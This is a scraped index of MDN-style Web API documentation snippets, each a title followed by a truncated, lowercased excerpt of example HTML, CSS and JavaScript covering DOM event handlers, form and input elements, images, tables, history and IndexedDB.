0%); } .toaster { width: 160px; height: 110px; background: #bbb; border-radius: 10px 10px 0 0; } .toast { position: absolute; left: 50%; top: 50%; z-index: -1; width: 100px; height: 50px; padding: 10px; background: #ed9; border-radius: 10px 10px 0 0; transform: translate(-50%, -90px); transition: transform .3s; } .depressed { transform: translate(-50%, -50%); } javascript function depress() { toast.classlist.add('depressed'); } function release() { toast.classlist.remove('depressed'); } const toaster = document.queryselector('.toaster'); const toast = document.queryselector('.toast'); toaster.onmousedown = depress; document.onmouseup = release; result specification specification status comment html living standardthe definition...
GlobalEventHandlers.onmousewheel - Web APIs
syntax element.onmousewheel = handlerfunction; var handlerfunction = element.onmousewheel; handlerfunction should be either null or a javascript function specifying the handler for the event.
GlobalEventHandlers.onpause - Web APIs
syntax element.onpause = handlerfunction; var handlerfunction = element.onpause; handlerfunction should be either null or a javascript function specifying the handler for the event.
GlobalEventHandlers.onplay - Web APIs
syntax element.onplay = handlerfunction; var handlerfunction = element.onplay; handlerfunction should be either null or a javascript function specifying the handler for the event.
GlobalEventHandlers.onplaying - Web APIs
syntax element.onplaying = handlerfunction; var handlerfunction = element.onplaying; handlerfunction is either null or a javascript function specifying the handler for the event.
GlobalEventHandlers.onpointerdown - Web APIs
javascript first, let's look at the javascript code that handles the pointerdown event.
GlobalEventHandlers.onreset - Web APIs
html <form id="form"> <label>test field: <input type="text"></label> <br><br> <button type="reset">reset form</button> </form> <p id="log"></p> javascript function logreset(event) { log.textcontent = `form reset!
GlobalEventHandlers.onscroll - Web APIs
html <textarea>1 2 3 4 5 6 7 8 9</textarea> <p id="log"></p> css textarea { width: 4rem; height: 8rem; font-size: 3rem; } javascript const textarea = document.queryselector('textarea'); const log = document.getelementbyid('log'); textarea.onscroll = logscroll; function logscroll(e) { log.textcontent = `scroll position: ${e.target.scrolltop}`; } result specifications specification status comment html living standardthe definition of 'onscroll' in that specification.
GlobalEventHandlers.onselect - Web APIs
html <textarea>try selecting some text in this element.</textarea> <p id="log"></p> javascript function logselection(event) { const log = document.getelementbyid('log'); const selection = event.target.value.substring(event.target.selectionstart, event.target.selectionend); log.textcontent = `you selected: ${selection}`; } const textarea = document.queryselector('textarea'); textarea.onselect = logselection; result specification specification status comment ...
GlobalEventHandlers.onsubmit - Web APIs
thanks!</p> javascript const form = document.getelementbyid('form'); const error = document.getelementbyid('error'); const city = document.getelementbyid('city'); const thanks = document.getelementbyid('thanks'); city.oninvalid = invalid; form.onsubmit = submit; function invalid(event) { error.removeattribute('hidden'); } function submit(event) { form.setattribute('hidden', ''); thanks.removeattribute('hidden...
GlobalEventHandlers.ontransitionend - Web APIs
; border-width: 1px; display: block; width: 100px; height: 100px; background-color: #0000ff; color: #ffffff; padding: 20px; font: bold 1.6em "helvetica", "arial", sans-serif; transition: width 2s, height 2s, background-color 2s, transform 2s, color 2s; } .box:hover { background-color: #ffcccc; color: #000000; width: 200px; height: 200px; transform: rotate(180deg); } javascript next, we need to establish our event handlers to change the text content of the box when the transition begins and ends.
GlobalEventHandlers.onwheel - Web APIs
html <div>scale me with your mouse wheel.</div> css body { min-height: 100vh; margin: 0; display: flex; align-items: center; justify-content: center; } div { width: 80px; height: 80px; background: #cdf; padding: 5px; transition: transform .3s; } javascript function zoom(event) { event.preventdefault(); if (event.deltay < 0) { // zoom in scale *= event.deltay * -2; } else { // zoom out scale /= event.deltay * 2; } // restrict scale scale = math.min(math.max(.125, scale), 4); // apply scale transform el.style.transform = `scale(${scale})`; } let scale = 1; const el = document.queryselector('div'); document.onwhe...
Audio() - Web APIs
the event-based approach is best: myaudioelement.addeventlistener("canplaythrough", event => { /* the audio is now playable; play it if permissions allow */ myaudioelement.play(); }); memory usage and management if all references to an audio element created using the audio() constructor are deleted, the element itself won't be removed from memory by the javascript runtime's garbage collection mechanism if playback is currently underway.
HTMLAudioElement - Web APIs
examples basic usage you can create a htmlaudioelement entirely with javascript using the audio() constructor: var audioelement = new audio('car_horn.wav'); then you can invoke the play() method on the element audioelement.play(); a common gotcha is trying to play an audio element immediately on page load.
HTMLButtonElement.labels - Web APIs
example html <label id="label1" for="test">label 1</label> <button id="test">button</button> <label id="label2" for="test">label 2</label> javascript window.addeventlistener("domcontentloaded", function() { const button = document.getelementbyid("test"); for(var i = 0; i < button.labels.length; i++) { console.log(button.labels[i].textcontent); // "label 1" and "label 2" } }); specifications specification status comment html living standardthe definition of 'labels' in that specification.
HTMLCanvasElement.mozGetAsFile() - Web APIs
html <canvas id="canvas" width="100" height="100"></canvas> <p><a href="#" id="link">click here to try out mozgetasfile()</a>.</p> javascript the following code uses mozgetasfile() to create a file object from the canvas and appends it as an image to the page by loading it as a data url using the readasdataurl() method.
HTMLCanvasElement.toDataURL() - Web APIs
color in this example): html <img class="grayscale" src="mypicture.png" alt="description of my picture" /> javascript window.addeventlistener('load', removecolors); function showcolorimg() { this.style.display = 'none'; this.nextsibling.style.display = 'inline'; } function showgrayimg() { this.previoussibling.style.display = 'inline'; this.style.display = 'none'; } function removecolors() { var aimages = document.getelementsbyclassname('grayscale'), nimgslen = aimages.length, ocanvas = ...
HTMLCanvasElement - Web APIs
web content can set this to a javascript function that will be called when the canvas is to be redrawn while the page is being printed.
HTMLCollection.item - Web APIs
in javascript, it is easier to treat the htmlcollection as an array and to index it using array notation.
HTMLDetailsElement: toggle event - Web APIs
</details> </section> css body { display: flex; flex-direction: row-reverse; } #log { flex-shrink: 0; padding-left: 3em; } #summaries { flex-grow: 1; } javascript function logitem(e) { const item = document.queryselector(`[data-id=${e.target.id}]`); item.toggleattribute('hidden'); } const chapters = document.queryselectorall('details'); chapters.foreach((chapter) => { chapter.addeventlistener('toggle', logitem); }); result specifications specification status comment html living standardthe definition of 'toggle even...
accessKeyLabel - Web APIs
syntax label = element.accesskeylabel example javascript var node = document.getelementbyid('btn1'); if (node.accesskeylabel) { node.title += ' [' + node.accesskeylabel + ']'; } else { node.title += ' [' + node.accesskey + ']'; } node.onclick = function () { var p = document.createelement('p'); p.textcontent = 'clicked!'; node.parentnode.appendchild(p); }; html <button accesskey="h" title="caption" id="btn1">hover me</button> result specifications specification status comment html living standardthe definition of 'htmlelement.accesskeylabel' in that specification.
HTMLElement: beforeinput event - Web APIs
html <input placeholder="enter some text" name="name"/> <p id="values"></p> javascript const input = document.queryselector('input'); const log = document.getelementbyid('values'); input.addeventlistener('beforeinput', updatevalue); function updatevalue(e) { log.textcontent = e.target.value; } result specifications specification status ui eventsthe definition of 'beforeinput event' in that specification.
HTMLElement.click() - Web APIs
WebAPIHTMLElementclick
syntax element.click() example simulate a mouse-click when moving the mouse pointer over a checkbox: html <form> <input type="checkbox" id="mycheck" onmouseover="myfunction()" onclick="alert('click event occured')"> </form> javascript // on mouse-over, execute myfunction function myfunction() { document.getelementbyid("mycheck").click(); } specification specification status comment html living standard living standard document object model (dom) level 2 html specification obsolete initial definition.
HTMLElement.innerText - Web APIs
} #text { text-transform: uppercase; }</style> <span id=text>take a look at<br>how this text<br>is interpreted below.</span> <span style="display:none">hidden text</span> </p> <h3>result of textcontent:</h3> <textarea id="textcontentoutput" rows="6" cols="30" readonly>...</textarea> <h3>result of innertext:</h3> <textarea id="innertextoutput" rows="6" cols="30" readonly>...</textarea> javascript const source = document.getelementbyid("source"); const textcontentoutput = document.getelementbyid("textcontentoutput"); const innertextoutput = document.getelementbyid("innertextoutput"); textcontentoutput.value = source.textcontent; innertextoutput.value = source.innertext; result specification specification status comment html living standardthe definition o...
HTMLElement: input event - Web APIs
html <input placeholder="enter some text" name="name"/> <p id="values"></p> javascript const input = document.queryselector('input'); const log = document.getelementbyid('values'); input.addeventlistener('input', updatevalue); function updatevalue(e) { log.textcontent = e.target.value; } result specifications specification status html living standardthe definition of 'input event' in that specification.
HTMLElement.isContentEditable - Web APIs
</p> javascript document.getelementbyid('infotext1').innerhtml += document.getelementbyid('mytext1').iscontenteditable; document.getelementbyid('infotext2').innerhtml += document.getelementbyid('mytext2').iscontenteditable; result specifications specification status comment html living standardthe definition of 'htmlelement.contenteditable' in that specification.
HTMLElement.offsetLeft - Web APIs
</span> <span id="longspan">long span that wraps within this div.</span> </div> <div id="box" style="position: absolute; border-color: red; border-width: 1; border-style: solid; z-index: 10"> </div> <script type="text/javascript"> var box = document.getelementbyid("box"); var longspan = document.getelementbyid("longspan"); box.style.left = longspan.offsetleft + document.body.scrollleft + "px"; box.style.top = longspan.offsettop + document.body.scrolltop + "px"; box.style.width = longspan.offsetwidth + "px"; box.style.height = longspan.offsetheight + "px"; </script> specification specification s...
HTMLElement.oncopy - Web APIs
html <h3>play with this text area:</h3> <textarea id="editor" rows="3">try copying and pasting text into this field!</textarea> <h3>log:</h3> <p id="log"></p> javascript const log = document.getelementbyid('log'); function logcopy(event) { log.innertext = 'copy blocked!\n' + log.innertext; event.preventdefault(); } function logpaste(event) { log.innertext = 'paste blocked!\n' + log.innertext; event.preventdefault(); } const editor = document.getelementbyid('editor'); editor.oncopy = logcopy; editor.onpaste = logpaste; result specification whatwg...
HTMLElement.oncut - Web APIs
WebAPIHTMLElementoncut
html <h3>play with this text area:</h3> <textarea id="editor" rows="3">try copying and cutting the text in this field!</textarea> <h3>log:</h3> <p id="log"></p> javascript function logcopy(event) { log.innertext = 'copied!\n' + log.innertext; } function preventcut(event) { event.preventdefault(); log.innertext = 'cut blocked!\n' + log.innertext; } const editor = document.getelementbyid('editor'); const log = document.getelementbyid('log'); editor.oncopy = logcopy; editor.oncut = preventcut; result specification whatwg standard ...
HTMLElement.onpaste - Web APIs
html <h3>play with this text area:</h3> <textarea id="editor" rows="3">try copying and pasting text into this field!</textarea> <h3>log:</h3> <p id="log"></p> javascript function logcopy(event) { log.innertext = 'copied!\n' + log.innertext; } function logpaste(event) { log.innertext = 'pasted!\n' + log.innertext; } const editor = document.getelementbyid('editor'); const log = document.getelementbyid('log'); editor.oncopy = logcopy; editor.onpaste = logpaste; result specification whatwg standard ...
HTMLElement: transitioncancel event - Web APIs
lement, styled with a transition that includes a delay: <div class="transition"></div> <div class="message"></div> .transition { width: 100px; height: 100px; background: rgba(255,0,0,1); transition-property: transform background; transition-duration: 2s; transition-delay: 2s; } .transition:hover { transform: rotate(90deg); background: rgba(255,0,0,0); } to this, we'll add some javascript to indicate that the transitionstart, transitionrun, transitioncancel and transitionend events fire.
HTMLElement: transitionend event - Web APIs
d with a transition that includes a delay: <div class="transition">hover over me</div> <div class="message"></div> .transition { width: 100px; height: 100px; background: rgba(255,0,0,1); transition-property: transform background; transition-duration: 2s; transition-delay: 1s; } .transition:hover { transform: rotate(90deg); background: rgba(255,0,0,0); } to this, we'll add some javascript to indicate that the transitionstart, transitionrun, transitioncancel and transitionend events fire.
HTMLElement: transitionrun event - Web APIs
with a transition that includes a delay: <div class="transition">hover over me</div> <div class="message"></div> .transition { width: 100px; height: 100px; background: rgba(255,0,0,1); transition-property: transform, background; transition-duration: 2s; transition-delay: 1s; } .transition:hover { transform: rotate(90deg); background: rgba(255,0,0,0); } to this, we'll add some javascript to indicate where the transitionstart and transitionrun events fire.
HTMLElement: transitionstart event - Web APIs
with a transition that includes a delay: <div class="transition">hover over me</div> <div class="message"></div> .transition { width: 100px; height: 100px; background: rgba(255,0,0,1); transition-property: transform, background; transition-duration: 2s; transition-delay: 1s; } .transition:hover { transform: rotate(90deg); background: rgba(255,0,0,0); } to this, we'll add some javascript to indicate where the transitionstart and transitionrun events fire.
HTMLFieldSetElement - Web APIs
this can be used when accessing the field set in javascript.
HTMLFormControlsCollection - Web APIs
like that one, in javascript, using the array bracket syntax with a string, like collection["value"] is equivalent to collection.nameditem("value").
HTMLFormElement: reset event - Web APIs
html <form id="form"> <label>test field: <input type="text"></label> <br><br> <button type="reset">reset form</button> </form> <p id="log"></p> javascript function logreset(event) { log.textcontent = `form reset!
HTMLFormElement: submit event - Web APIs
html <form id="form"> <label>test field: <input type="text"></label> <br><br> <button type="submit">submit form</button> </form> <p id="log"></p> javascript function logsubmit(event) { log.textcontent = `form submitted!
HTMLImageElement.crossOrigin - Web APIs
javascript the code below demonstrates setting the crossorigin property on an <img> element to configure cors access for the fetch of a newly-created image.
HTMLImageElement.currentSrc - Web APIs
html <img src="/files/16797/clock-demo-400px.png" alt="clock" srcset="/files/16864/clock-demo-200px.png 200w, /files/16797/clock-demo-400px.png 400w" sizes="(max-width: 400px) 50%, 90%"> javascript var clockimage = document.queryselector("img"); let p = document.createelement("p"); if (!clockimage.currentsrc.endswith("200px.png")) { p.innertext = "using the 200px image."; } else { p.innertext = "using the 400px image!"; } document.body.appendchild(p); result specifications specification status comment html living standardthe definition of 'htmlimageel...
HTMLImageElement.height - Web APIs
<p>image height: <span class="size">?</span>px (resize to update)</p> <img src="/files/17373/clock-demo-200px.png" alt="clock" srcset="/files/17373/clock-demo-200px.png 200w, /files/17374/clock-demo-400px.png 400w" sizes="(max-width: 400px) 200px, 300px"> javascript the javascript code looks at the height to determine the height of the image given the width at which it's currently drawn.
HTMLImageElement.naturalHeight - Web APIs
javascript let output = document.queryselector(".output"); let image = document.queryselector("img"); window.addeventlistener("load", event => { output.innerhtml += `natural size: ${image.naturalwidth} x ` + `${image.naturalheight} pixels<br>`; output.innerhtml += `displayed size: ${image.width} x ` + `${image.height} pixels`; }); the javascript code simpl...
HTMLImageElement.naturalWidth - Web APIs
javascript let output = document.queryselector(".output"); let image = document.queryselector("img"); window.addeventlistener("load", event => { output.innerhtml += `natural size: ${image.naturalwidth} x ` + `${image.naturalheight} pixels<br>`; output.innerhtml += `displayed size: ${image.width} x ` + `${image.height} pixels`; }); the javascript code simpl...
HTMLImageElement.sizes - Web APIs
>last width: 50em</button> </article> css article { margin: 1em; max-width: 60em; min-width: 20em; height: 100vh; border: 4em solid #880e4f; border-radius: 7em; padding: 1.5em; font: 16px "open sans", verdana, arial, helvetica, sans-serif; } article img { display: block; max-width: 100%; border: 1px solid #888; box-shadow: 0 0.5em 0.3em #888; margin-bottom: 1.25em; } javascript the javascript code handles the two buttons that let you toggle the third width option between 40em and 50em; this is done by handling the click event, using the javascript string object method replace() to replace the relevant portion of the sizes string.
HTMLImageElement.srcset - Web APIs
.box { width: 200px; border: 2px solid rgba(150, 150, 150, 255); padding: 0.5em; word-break: break-all; } .box img { width: 200px; } javascript the following code is run within a handler for the window's load event.
HTMLImageElement.width - Web APIs
<p>image width: <span class="size">?</span>px (resize to update)</p> <img src="/files/16864/clock-demo-200px.png" alt="clock" srcset="/files/16864/clock-demo-200px.png 200w, /files/16797/clock-demo-400px.png 400w" sizes="(max-width: 400px) 200px, 400px"> javascript the javascript code looks at the width to determine the width of the image at the moment.
HTMLImageElement.x - Web APIs
<table id="userinfo"> <colgroup> <col span="2" class="group1"> <col> </colgroup> <tr> <th>userid</th> <th>name</th> <th>avatar</th> </tr> <tr> <td>12345678</td> <td>johnny rocket</td> <td><img src="https://udn.realityripple.com/samples/d6/7ab36d79bb.jpg"</td> </th> </table> <pre id="log"> </pre> javascript the javascript code that fetches the image from the table and looks up its x and y values is below.
HTMLImageElement.y - Web APIs
<table id="userinfo"> <colgroup> <col span="2" class="group1"> <col> </colgroup> <tr> <th>userid</th> <th>name</th> <th>avatar</th> </tr> <tr> <td>12345678</td> <td>johnny rocket</td> <td><img src="https://udn.realityripple.com/samples/d6/7ab36d79bb.jpg"</td> </th> </table> <pre id="log"> </pre> javascript the javascript code that fetches the image from the table and looks up its x and y values is below.
HTMLInputElement: invalid event - Web APIs
html <form action="#"> <ul> <li><label>enter an integer between 1 and 10: <input type="number" min="1" max="10" required></label></li> <li><input type="submit" value="submit"></li> </ul> </form><p id="log"></p> javascript const input = document.queryselector('input') const log = document.getelementbyid('log') input.addeventlistener('invalid', logvalue) function logvalue(e) { log.textcontent += e.target.value } result specifications specification status comment html living standardthe definition of 'invalid event' in that specification.
HTMLInputElement.labels - Web APIs
example html <label id="label1" for="test">label 1</label> <input id="test"/> <label id="label2" for="test">label 2</label> javascript window.addeventlistener("domcontentloaded", function() { const input = document.getelementbyid("test"); for(var i = 0; i < input.labels.length; i++) { console.log(input.labels[i].textcontent); // "label 1" and "label 2" } }); specifications specification status comment html living standardthe definition of 'labels' in that specification.
HTMLInputElement.select() - Web APIs
html <input type="text" id="text-box" size="20" value="hello world!"> <button onclick="selecttext()">select text</button> javascript function selecttext() { const input = document.getelementbyid('text-box'); input.focus(); input.select(); } result notes calling element.select() will not necessarily focus the input, so it is often used with htmlelement.focus().
HTMLInputElement.setRangeText() - Web APIs
html <input type="text" id="text-box" size="30" value="this text has not been updated."> <button onclick="selecttext()">update text</button> javascript function selecttext() { const input = document.getelementbyid('text-box'); input.focus(); input.setrangetext('already', 14, 17, 'select'); } result specifications specification status comment html living standardthe definition of 'htmlinputelement.setselectionrange()' in that specification.
HTMLInputElement.setSelectionRange() - Web APIs
html <input type="text" id="text-box" size="20" value="mozilla"> <button onclick="selecttext()">select text</button> javascript function selecttext() { const input = document.getelementbyid('text-box'); input.focus(); input.setselectionrange(2, 5); } result specifications specification status comment html living standardthe definition of 'htmlinputelement.setselectionrange()' in that specification.
HTMLInputElement.stepDown() - Web APIs
ype: html <p> <label>enter a number between 0 and 400 that is divisible by 5: <input type="number" step="5" id="thenumber" min="0" max="400"> </label> </p> <p> <label>enter how many values of step you would like to increment by or leave it blank: <input type="number" step="1" id="decrementer" min="-2" max="15"> </label> </p> <input type="button" value="decrement" id="thebutton"> javascript /* make the button call the function */ let button = document.getelementbyid('thebutton'); button.addeventlistener('click', function() { stepondown();} ); function stepondown() { let input = document.getelementbyid('thenumber'); let val = document.getelementbyid('decrementer').value; if (val) { /* increment with a parameter */ input.stepdown(val); } else { /* or without a par...
HTMLInputElement.stepUp() - Web APIs
type: html <p> <label>enter a number between 0 and 400 that is divisible by 5: <input type="number" step="5" id="thenumber" min="0" max="400"> </label> </p> <p> <label>enter how many values of step you would like to increment by or leave it blank: <input type="number" step="1" id="incrementer" min="0" max="25"> </label> </p> <input type="button" value="increment" id="thebutton"> javascript /* make the button call the function */ let button = document.getelementbyid('thebutton') button.addeventlistener('click', function() { steponup() }) function steponup() { let input = document.getelementbyid('thenumber') let val = document.getelementbyid('incrementer').value if (val) { /* increment with a parameter */ input.stepup(val) } else { /* or without a parameter.
HTMLInputElement.webkitEntries - Web APIs
html <input id="files" type="file" multiple> javascript document.getelementbyid("files").addeventlistener("change", function(event) { event.target.webkitentries.foreach(function(entry) { /* do stuff with the entry */ }); }); each time a change event occurs, this code iterates over the selected files, obtaining their filesystementry-based objects and acting on them.
HTMLInputElement.webkitdirectory - Web APIs
html content <input type="file" id="filepicker" name="filelist" webkitdirectory multiple /> <ul id="listing"></ul> javascript content document.getelementbyid("filepicker").addeventlistener("change", function(event) { let output = document.getelementbyid("listing"); let files = event.target.files; for (let i=0; i<files.length; i++) { let item = document.createelement("li"); item.innerhtml = files[i].webkitrelativepath; output.appendchild(item); }; }, false); result specifications spec...
HTMLMediaElement.audioTracks - Web APIs
<video id="video" src="somevideo.mp4"></video> javascript the javascript code handles muting the video element's audio tracks.
HTMLMediaElement: progress event - Web APIs
ent-log-contents { width: 18rem; height: 5rem; border: 1px solid black; margin: .2rem; padding: .2rem; } .example { display: grid; grid-template-areas: "button log" "video log"; } button { grid-area: button; width: 10rem; margin: .5rem 0; } video { grid-area: video; } .event-log { grid-area: log; } .event-log>label { display: block; } javascript const loadvideo = document.queryselector('button'); const video = document.queryselector('video'); const eventlog = document.queryselector('.event-log-contents'); let source = null; function handleevent(event) { eventlog.textcontent = eventlog.textcontent + `${event.type}\n`; } video.addeventlistener('loadstart', handleevent); video.addeventlistener('progress', handleevent); video.addevent...
HTMLMeterElement.labels - Web APIs
example html <label id="label1" for="test">label 1</label> <meter id="test" min="0" max="100" value="70">70</meter> <label id="label2" for="test">label 2</label> javascript window.addeventlistener("domcontentloaded", function() { const meter = document.getelementbyid("test"); for(var i = 0; i < meter.labels.length; i++) { console.log(meter.labels[i].textcontent); // "label 1" and "label 2" } }); specifications specification status comment html living standardthe definition of 'labels' in that specification.
HTMLObjectElement.typeMustMatch - Web APIs
syntax var mustmatch = obj.typemustmatch; obj.typemustmatch = mustmatch; example html <object id="obj" data="move.swf" type="application/x-shockwave-flash" typemustmatch></object> javascript let obj = document.getelementbyid('obj'); console.log(obj.typemustmatch); specifications specification status comment html5the definition of 'htmlobjectelement' in that specification.
HTMLElement.blur() - Web APIs
syntax element.blur(); examples remove focus from a text input html <input type="text" id="mytext" value="sample text"> <br><br> <button type="button" onclick="focusinput()">click me to gain focus</button> <button type="button" onclick="blurinput()">click me to lose focus</button> javascript function focusinput() { document.getelementbyid('mytext').focus(); } function blurinput() { document.getelementbyid('mytext').blur(); } result specification specification status comment html living standardthe definition of 'blur' in that specification.
HTMLOrForeignElement.dataset - Web APIs
in javascript, the name of a custom data attribute is the name of the same html attribute, but in camelcase and with no dashes, dots, etc.
HTMLOutputElement.labels - Web APIs
example html <label id="label1" for="test">label 1</label> <output id="test">output</output> <label id="label2" for="test">label 2</label> javascript window.addeventlistener("domcontentloaded", function() { const output = document.getelementbyid("test"); for(var i = 0; i < output.labels.length; i++) { console.log(output.labels[i].textcontent); // "label 1" and "label 2" } }); specifications specification status comment html living standardthe definition of 'labels' in that specification.
HTMLProgressElement.labels - Web APIs
example html <label id="label1" for="test">label 1</label> <progress id="test" value="70" max="100">70%</progress> <label id="label2" for="test">label 2</label> javascript window.addeventlistener("domcontentloaded", function() { const progress = document.getelementbyid("test"); for(var i = 0; i < progress.labels.length; i++) { console.log(progress.labels[i].textcontent); // "label 1" and "label 2" } }); specifications specification status comment html living standardthe definition of 'labels' in that specification.
HTMLSelectElement.autofocus - Web APIs
syntaxedit abool = aselectelement.autofocus; // get the value of autofocus aselectelement.autofocus = abool; // set the value of autofocus example html <select id="myselect" autofocus> <option>option 1</option> <option>option 2</option> </select> javascript // check if the autofocus attribute on the <select> var hasautofocus = document.getelementbyid('myselect').autofocus; specifications specification status comment html living standardthe definition of 'autofocus' in that specification.
HTMLSelectElement.disabled - Web APIs
<input id="allow-drinks" type="checkbox"/> </label> <label for="drink-select">drink selection:</label> <select id="drink-select" disabled> <option value="1">water</option> <option value="2">beer</option> <option value="3">pepsi</option> <option value="4">whisky</option> </select> javascript var allowdrinkscheckbox = document.getelementbyid("allow-drinks"); var drinkselect = document.getelementbyid("drink-select"); allowdrinkscheckbox.addeventlistener("change", function(event) { if (event.target.checked) { drinkselect.disabled = false; } else { drinkselect.disabled = true; } }, false); result specifications specification status comment htm...
HTMLSelectElement.labels - Web APIs
example html <label id="label1" for="test">label 1</label> <select id="test"> <option value="1">option 1</option> <option value="2">option 2</option> </select> <label id="label2" for="test">label 2</label> javascript window.addeventlistener("domcontentloaded", function() { const select = document.getelementbyid("test"); for(var i = 0; i < select.labels.length; i++) { console.log(select.labels[i].textcontent); // "label 1" and "label 2" } }); specifications specification status comment html living standardthe definition of 'labels' in that specification.
HTMLSelectElement.options - Web APIs
example html <label for="test">label</label> <select id="test"> <option value="1">option 1</option> <option value="2">option 2</option> </select> javascript window.addeventlistener("domcontentloaded", function() { const select = document.getelementbyid("test"); for(var i = 0; i < select.options.length; i++) { console.log(select.options[i].label); // "option 1" and "option 2" } }); specifications specification status comment html living standardthe definition of 'options' in that specification.
HTMLSelectElement.selectedIndex - Web APIs
syntax var index = selectelem.selectedindex; selectelem.selectedindex = index; example html <p id="p">selectedindex: 0</p> <select id="select"> <option selected>option a</option> <option>option b</option> <option>option c</option> <option>option d</option> <option>option e</option> </select> javascript var selectelem = document.getelementbyid('select') var pelem = document.getelementbyid('p') // when a new <option> is selected selectelem.addeventlistener('change', function() { var index = selectelem.selectedindex; // add that data to the <p> pelem.innerhtml = 'selectedindex: ' + index; }) specifications specification status comment html living standardthe def...
HTMLSelectElement.selectedOptions - Web APIs
javascript the javascript code that establishes the event handler for the button, as well as the event handler itself, looks like this: let orderbutton = document.getelementbyid("order"); let itemlist = document.getelementbyid("foods"); let outputbox = document.getelementbyid("output"); orderbutton.addeventlistener("click", function() { let collection = itemlist.selectedoptions; let output = ""; f...
HTMLTableElement.insertRow() - Web APIs
html <table id="my-table"> <tr><td>row 1</td></tr> <tr><td>row 2</td></tr> <tr><td>row 3</td></tr> </table> javascript function addrow(tableid) { // get a reference to the table let tableref = document.getelementbyid(tableid); // insert a row at the end of the table let newrow = tableref.insertrow(-1); // insert a cell in the row at index 0 let newcell = newrow.insertcell(0); // append a text node to the cell let newtext = document.createtextnode('new bottom row'); newcell.appendchild(newtex...
HTMLTableRowElement.insertCell() - Web APIs
html <table id="my-table"> <tr><td>row 1</td></tr> <tr><td>row 2</td></tr> <tr><td>row 3</td></tr> </table> javascript function addrow(tableid) { // get a reference to the table let tableref = document.getelementbyid(tableid); // insert a row at the end of the table let newrow = tableref.insertrow(-1); // insert a cell in the row at index 0 let newcell = newrow.insertcell(0); // append a text node to the cell let newtext = document.createtextnode('new bottom row'); newcell.appendchild(newtex...
HTMLTextAreaElement.labels - Web APIs
example html <label id="label1" for="test">label 1</label> <textarea id="test">some text</textarea> <label id="label2" for="test">label 2</label> javascript window.addeventlistener("domcontentloaded", function() { const textarea = document.getelementbyid("test"); for(var i = 0; i < textarea.labels.length; i++) { console.log(textarea.labels[i].textcontent); // "label 1" and "label 2" } }); specifications specification status comment html living standardthe definition of 'labels' in that specification.
History.back() - Web APIs
WebAPIHistoryback
html <button id="go-back">go back!</button> javascript document.getelementbyid('go-back').addeventlistener('click', () => { history.back(); }); specifications specification status comment html living standardthe definition of 'history.back()' in that specification.
History.forward() - Web APIs
WebAPIHistoryforward
html <button id='go-forward'>go forward!</button> javascript document.getelementbyid('go-forward').addeventlistener('click', e => { window.history.forward(); }) specifications specification status comment html living standardthe definition of 'history' in that specification.
Ajax navigation example - Web APIs
de/before_content.php: <p> [ <a class="ajax-nav" href="first_page.php">first example</a> | <a class="ajax-nav" href="second_page.php">second example</a> | <a class="ajax-nav" href="third_page.php">third example</a> | <a class="ajax-nav" href="unexisting.php">unexisting page</a> ] </p> include/header.php: <meta http-equiv="content-type" content="text/html; charset=utf-8" /> <script type="text/javascript" src="js/ajax_nav.js"></script> <link rel="stylesheet" href="css/style.css" /> js/ajax_nav.js: "use strict"; const ajaxrequest = new (function () { function closereq () { oloadingbox.parentnode && document.body.removechild(oloadingbox); bisloading = false; } function abortreq () { if (!bisloading) { return; } oreq.abort(); closereq(); ...
IDBCursor.continuePrimaryKey() - Web APIs
example here’s how you can resume an iteration of all articles tagged with "javascript" since your last visit: let request = articlestore.index("tag").opencursor(); let count = 0; let unreadlist = []; request.onsuccess = (event) => { let cursor = event.target.result; if (!cursor) { return; } let lastprimarykey = getlastiteratedarticleid(); if (lastprimarykey > cursor.primarykey) { cursor.continueprimarykey("javascript", lastprimarykey); return; } ...
IDBFactory.cmp() - Web APIs
WebAPIIDBFactorycmp
note: do not use this method for comparing arbitrary javascript values, because many javascript values are either not valid indexeddb keys (booleans and objects, for example) or are treated as equivalent indexeddb keys (for example, since indexeddb ignores arrays with non-numeric properties and treats them as empty arrays, so any non-numeric arrays are treated as equivalent).
IDBObjectStore.get() - Web APIs
once this data object is retrieved, you could then update it using normal javascript, then put it back into the database using a idbobjectstore.put operation.
IIRFilterNode.getFrequencyResponse() - Web APIs
de and phase values: var myfrequencyarray = new float32array(5); myfrequencyarray[0] = 1000; myfrequencyarray[1] = 2000; myfrequencyarray[2] = 3000; myfrequencyarray[3] = 4000; myfrequencyarray[4] = 5000; var magresponseoutput = new float32array(5); var phaseresponseoutput = new float32array(5); next we create a <ul> element in our html to contain our results, and grab a reference to it in our javascript: <p>iir filter frequency response for: </p> <ul class="freq-response-output"> </ul> var freqresponseoutput = document.queryselector('.freq-response-output'); finally, after creating our filter, we use getfrequencyresponse() to generate the response data and put it in our arrays, then loop through each data set and output them in a human-readable list at the bottom of the page: var feedforward...
ImageBitmapRenderingContext.transferFromImageBitmap() - Web APIs
examples html <canvas id="htmlcanvas"></canvas> javascript var htmlcanvas = document.getelementbyid("htmlcanvas").getcontext("bitmaprenderer"); // draw a webgl scene offscreen var offscreen = new offscreencanvas(256, 256); var gl = offscreen.getcontext("webgl"); // ...
ImageData() - Web APIs
html <canvas id="canvas"></canvas> javascript the array (arr) has a length of 40000: it consists of 10,000 pixels, each of which is defined by 4 values.
ImageData.data - Web APIs
WebAPIImageDatadata
html <canvas id="canvas"></canvas> javascript since each pixel consists of four values within the data array, the for loop iterates by multiples of four.
IndexedDB API - Web APIs
however, unlike sql-based rdbmses, which use fixed-column tables, indexeddb is a javascript-based object-oriented database.
InputEvent.inputType - Web APIs
try inserting line breaks, or deleting text in different ways, or pasting different content in.</p> <hr> <ul> <li>a sample</li> <li>bulleted</li> <li>list.</li> </ul> <p>another paragraph.</p> </div> javascript const log = document.getelementbyid('log'); const editable = document.queryselector('div[contenteditable]'); editable.addeventlistener('input', loginputtype); function loginputtype(event) { log.textcontent = `input type: ${event.inputtype}`; } result try editing the text inside the <div> and see what happens.
install - Web APIs
description in the example below, a special javascript object constructor is used to create an object that can be passed to the install() method.
InstallTrigger - Web APIs
it is used for triggering the download and installation of an add-on (or anything packaged in an .xpi file) from a web page, using javascript code to kick off the install process.
Intersection Observer API - Web APIs
border: 4px solid rgb(20, 20, 120); transition: background-color 1s, border 1s; width: 350px; height: 350px; display: flex; align-items: center; justify-content: center; padding: 20px; } .vertical { color: white; font: 32px "arial"; } .extra { width: 350px; height: 350px; margin-top: 10px; border: 4px solid rgb(20, 20, 120); text-align: center; padding: 20px; } javascript finally, let's take a look at the javascript code that uses the intersection observer api to make things happen.
KeyboardEvent.altKey - Web APIs
